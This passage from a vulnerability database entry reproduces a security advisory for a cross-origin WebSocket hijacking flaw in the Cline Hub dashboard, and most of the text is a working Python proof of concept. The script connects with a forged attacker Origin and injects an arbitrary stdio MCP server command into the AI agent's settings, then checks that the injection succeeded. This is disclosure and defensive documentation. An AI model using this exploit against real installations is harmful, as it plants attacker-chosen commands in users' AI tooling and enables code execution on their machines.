dashboard WebSocket with a cross-origin Origin header,\n send upsert_mcp_server, and return a result dict with evidence.\n \"\"\"\n # Import websockets \u2014 handle both legacy (\u003c12) and current (\u003e=12) API\n try:\n from websockets.asyncio.client import connect as ws_connect\n except ImportError:\n from websockets import connect as ws_connect # type: ignore[no-redef]\n\n result = {\n \"connect_accepted\": False,\n \"command_ok\": False,\n \"mcp_settings_written\": False,\n \"response_raw\": \"\",\n \"mcp_settings_content\": \"\",\n \"error\": \"\",\n }\n\n print(f\"[*] Connecting to {SERVER_WS}\")\n print(f\"[*] Using cross-origin header: Origin: {ATTACK_ORIGIN}\")\n\n try:\n async with ws_connect(\n SERVER_WS,\n additional_headers={\"Origin\": ATTACK_ORIGIN},\n open_timeout=15,\n ) as ws:\n result[\"connect_accepted\"] = True\n print(f\"[+] WebSocket connection ACCEPTED with Origin: {ATTACK_ORIGIN}\")\n print(\"[*] Server performed no Origin validation \u2014 CSWSH confirmed at connection level\")\n\n # Build the attack frame: inject an arbitrary stdio MCP server\n attack_frame = {\n \"type\": \"desktopCommand\",\n \"id\": \"poc-cswsh-001\",\n \"command\": \"upsert_mcp_server\",\n \"args\": {\n \"input\": {\n \"name\": MCP_NAME,\n \"transportType\": \"stdio\",\n \"command\": MCP_CMD,\n \"args\": MCP_ARGS,\n \"disabled\": False,\n }\n },\n }\n\n print(f\"[*] Sending desktopCommand: upsert_mcp_server \u2192 {MCP_NAME}\")\n await ws.send(json.dumps(attack_frame))\n\n # Collect responses until we see our desktopCommandResult\n deadline = asyncio.get_event_loop().time() + 30\n while asyncio.get_event_loop().time() \u003c deadline:\n try:\n raw = await asyncio.wait_for(ws.recv(), timeout=5)\n result[\"response_raw\"] = raw\n frame = json.loads(raw)\n if frame.get(\"type\") == \"desktopCommandResult\" and frame.get(\"id\") == \"poc-cswsh-001\":\n if frame.get(\"ok\") is True:\n result[\"command_ok\"] = True\n print(f\"[+] desktopCommandResult received: ok=true\")\n else:\n print(f\"[-] desktopCommandResult received but ok=false: {raw[:300]}\")\n break\n # Ignore state-sync / status frames\n print(f\"[.] Received frame type={frame.get(\u0027type\u0027)} (waiting for result ...)\")\n except asyncio.TimeoutError:\n print(\"[.] Waiting for desktopCommandResult ...\")\n continue\n\n except Exception as exc:\n result[\"error\"] = str(exc)\n print(f\"[-] WebSocket error: {exc}\")\n\n return result\n\n\ndef verify_mcp_settings() -\u003e dict:\n \"\"\"Read the MCP settings file and confirm the injected entry is present.\"\"\"\n print(f\"[*] Checking MCP settings file: {MCP_SETTINGS}\")\n if not os.path.exists(MCP_SETTINGS):\n print(f\"[-] MCP settings file does not exist: {MCP_SETTINGS}\")\n return {\"exists\": False, \"content\": \"\"}\n\n with open(MCP_SETTINGS) as fh:\n content = fh.read()\n print(f\"[+] MCP settings file content:\\n{content}\")\n\n try:\n data = json.loads(content)\n servers = data.get(\"mcpServers\", {})\n if MCP_NAME in servers:\n print(f\"[+] INJECTED MCP server \u0027{MCP_NAME}\u0027 found in settings!\")\n print(f\" Entry: {json.dumps(servers[MCP_NAME], indent=4)}\")\n return {\"exists\": True, \"content\": content, \"injected\": True}\n else:\n print(f\"[-] Injected server \u0027{MCP_NAME}\u0027 NOT found in settings.\")\n print(f\" Available servers: {list(servers.keys())}\")\n return {\"exists\": True, \"content\": content, \"injected\": False}\n except json.JSONDecodeError as exc:\n return {\"exists\": True, \"content\": content, \"injected\": False, \"parse_error\": str(exc)}\n\n\n# ---------------------------------------------------------------------------\n# Main\n# ---------------------------------------------------------------------------\n\ndef main() -\u003e int:\n print(\"=\" * 70)\n print(\"VULN-001: Cross-Origin WebSocket Hijacking \u2014 Dynamic PoC\")\n print(\"CWE-346 CVSS 9.6 (Critical)\")\n print(\"=\" * 70)\n\n os.makedirs(os.path.join(CLINE_DATA_DIR, \"settings\"), exist_ok=True)\n os.makedirs(os.environ.get(\"WORKSPACE_ROOT\", \"/tmp/workspace\"), exist_ok=True)\n\n server_proc = start_server()\n\n try:\n ready = wait_for_server(timeout_secs=120)\n if not ready:\n server_log = drain_server_output(server_proc)\n print(f\"\\n[!] Server startup log:\\n{server_log}\")\n print(\"\\n[RESULT] FAIL \u2014 server did not start within timeout\")\n return 1\n\n exploit_result = asyncio.run(run_exploit())\n\n mcp_result = verify_mcp_settings()\n\n print(\"\\n\" + \"=\" * 70)\n print(\"RESULTS\")\n print(\"=\" * 70)\n print(f\" WebSocket accepted cross-origin connection : {exploit_result[\u0027connect_accepted\u0027]}\")\n print(f\" upsert_mcp_server returned ok=true : {exploit_result[\u0027command_ok\u0027]}\")\n print(f\" Injected entry present in MCP settings : {mcp_result.get(\u0027injected\u0027, False)}\")\n\n passed = (\n exploit_result[\"connect_accepted\"]\n and exploit_result[\"command_ok\"]\n and mcp_result.get(\"injected\", False)\n )\n\n if passed:\n print(\"\\n[RESULT] PASS \u2014 Cross-origin WebSocket hijacking CONFIRMED\")\n print(\" A page at http://evil.attacker.example.com connected to\")\n print(f\" {SERVER_WS} without any Origin rejection,\")\n print(f\" and injected MCP server \u0027{MCP_NAME}\u0027 into the user\u0027s settings.\")\n return 0\n else:\n print(\"\\n[RESULT] FAIL \u2014 Could not fully confirm all exploit steps\")\n if exploit_result.get(\"error\"):\n print(f\" Error: {exploit_result[\u0027error\u0027]}\")\n return 1\n\n finally:\n print(\"\\n[*] Stopping server ...\")\n server_proc.terminate()\n try:\n server_proc.wait(timeout=5)\n except subprocess.TimeoutExpired:\n server_proc.kill()\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n```",
"id": "GHSA-3cj3-hqcr-g934",
"modified": "2026-09-24T19:48:34Z",
"published": "2026-09-24T19:48:34Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cline/cline/security/advisories/GHSA-3cj3-hqcr-g934"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59723"
},
{
"type": "WEB",
"url": "https://github.com/cline/cline/pull/11724"
},
{
"type": "WEB",
"url": "https://github.com/cline/cline/commit/d09270940f5746f288cfc4a5039b46a2f4d5d01e"
},
{
"type": "PACKAGE",
"url": "https://github.com/cline/cline"
},
{
"type": "WEB",
"url": "https://github.com/cline/cline/releases/tag/cli-v3.0.30"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Cline: Cross-Origin WebSocket Hijacking in Cline Hub Dashboard (`/browser` endpoint)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.